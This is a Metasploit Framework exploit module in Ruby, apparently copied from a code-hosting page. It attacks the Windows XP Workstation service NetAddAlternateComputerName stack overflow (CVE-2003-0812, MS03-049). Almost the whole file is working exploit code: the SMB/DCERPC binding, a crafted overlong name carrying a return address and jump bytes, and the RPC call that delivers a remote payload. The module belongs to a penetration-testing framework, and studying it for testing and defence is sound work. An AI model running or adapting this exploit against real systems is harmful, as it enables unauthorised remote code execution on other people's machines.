124 lines
2.8 KiB
Ruby
124 lines
2.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the NetApi32 NetAddAlternateComputerName
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function using the Workstation service in Windows XP.
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},
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'Author' =>
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[
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'hdm'
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2003-0812' ],
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[ 'OSVDB', '11461' ],
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[ 'BID', '9011' ],
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[ 'MSB', 'MS03-049' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'DefaultTarget' => 0,
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'Targets' =>
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[
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[ 'Windows XP SP0/SP1',
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{
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'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
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}
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],
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],
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'DisclosureDate' => 'Nov 11 2003'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
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], self.class)
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end
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def exploit
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connect()
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smb_login()
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handle = dcerpc_handle(
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'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
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'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
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)
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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print_status("Building the stub data...")
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name = rand_text_alphanumeric(5000)
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name[3496, 4] = [target.ret].pack('V')
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name[3492, 2] = "\xeb\x06"
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name[3500, 5] = "\xe9" + [-3505].pack('V')
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name[0, payload.encoded.length] = payload.encoded
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stub =
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString(name) +
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString('') +
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NDR.long(0) +
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NDR.long(0)
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print_status("Calling the vulnerable function...")
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begin
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dcerpc.call(0x1b, stub)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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rescue => e
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if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
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raise e
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end
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end
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# Cleanup
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handler
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disconnect
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end
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end
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